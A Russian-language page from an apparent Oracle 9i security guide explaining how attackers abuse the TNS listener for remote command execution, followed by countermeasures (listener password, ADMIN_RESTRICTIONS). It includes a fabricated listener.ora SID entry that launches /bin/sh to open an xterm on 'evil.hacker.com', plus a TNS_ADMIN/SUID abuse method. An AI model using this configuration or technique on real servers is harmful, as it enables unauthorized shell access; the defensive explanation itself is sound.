Информационная безопасность Oracle 9i
Страница 7. Удаленное выполнение команд


Удаленное выполнение команд

Листенер можно использовать для выполнения нарушителем команд сервера:

    установив протокольный файл листенера как скрипт оболочки ОС и отослав сфабрикованный пакет, содержащий команды оболочки, нарушитель может выполнять в сервере произвольные команды. После записи в файл, который, вероятно, будет выполнен системным администратором или процессом загрузки системы (например, AUTOEXEC.BAT), эти команды могут быть выполнены пользователем с очень высокими привилегиями;

    как видно из предыдущего анализа, листенер отвечает за запуск серверных процессов. Эти процессы будут работать под пользователем Oracle (в UNIX) или SYSTEM (в NT). Для того чтобы заставить листенер выполнять наши команды, необходимо реконфигурировать файл listener.ora. Это можно сделать через механизм работы с протокольным файлом, направив вывод протокольного файла в файл listener.ora, а затем отослать пакет, содержащий команды, которые мы хотим выполнить. Например, можно послать пакет, содержащий определение SID:

(SID_DESC=
(SID_NAME=Hacked)
(ORACLE_HOME=/data/oracle/OraHome1)
(PROGRAM = /bin/sh)
(ARGS = -c, /usr/bin/xterm -display evil.hacker.com:0)
)

Затем нужно перезагрузить листенер (RELOAD) и попытаться соединиться с SID Hacked”, при успешном соединении в узле evil.hacker.com” появится окно эмулятора терминала xterm;

    и, наконец, если нарушитель сможет получить на целевой машине локальную учетную запись, если это UNIX и у листенера установлен бит SUID, то появляется возможность выполнять команды как пользователь Oracle, создавая в локальном каталоге файлы LISTENER.ORA и TNSNAMES.ORA, а затем с помощью установки переменной окружения TNS_ADMIN заставляя листенер читать их. Попытки соединения с сервисом, определенном в этих сфабрикованных файлах, заставят листенер выполнять процесс как пользователь Oracle.

Эта атака невозможна в системах NT, поскольку в них листенер работает как сервис NT. Для того чтобы запустить листенер, атакующий пользователь должен иметь возможность создания сервиса NT, то есть уже быть привилегированным пользователем.

Меры противодействия – установка параметров защиты листенера

Для защиты листенера от атак можно использовать два конфигурационных параметра, связанных с безопасностью:

    если требуется удаленное администрирование листенера, командой lsnrctl change_password” установите пароль. После этого без задания пароля (командой lsnrctl set_password) нельзя будет использовать никакие команды для остановки или реконфигурирования листенера;

    на сервере в файле listener.ora можно включить опцию ADMIN_RESTRICTIONS (как это описано в [NETREF, 8-10]), которая запрещает любые попытки удаленного администрирования независимо от того, задан ли пароль. Разрешается только останавливать (команда STOP) и перезагружать листенер (команда RELOAD). Ясно, что это не защищает от простых атак типа отказ в обслуживании”.

Подразумевается, что установка пароля и опции ADMIN_RESTRICTIONS взаимно исключают друг друга, то есть ADMIN_RESTRICTIONS устанавливается вместо пароля. Установка как пароля, так и ADMIN_RESTRICTIONS, отключает конфигурационные команды, разрешенные в ADMIN_RESTRICTIONS. В таком случае необходимо вручную изменять файл listener.ora, а затем для ввода этих изменений в действие нужно выполнять команду RELOAD (с заданием пароля листенера).

 
Следующая статья »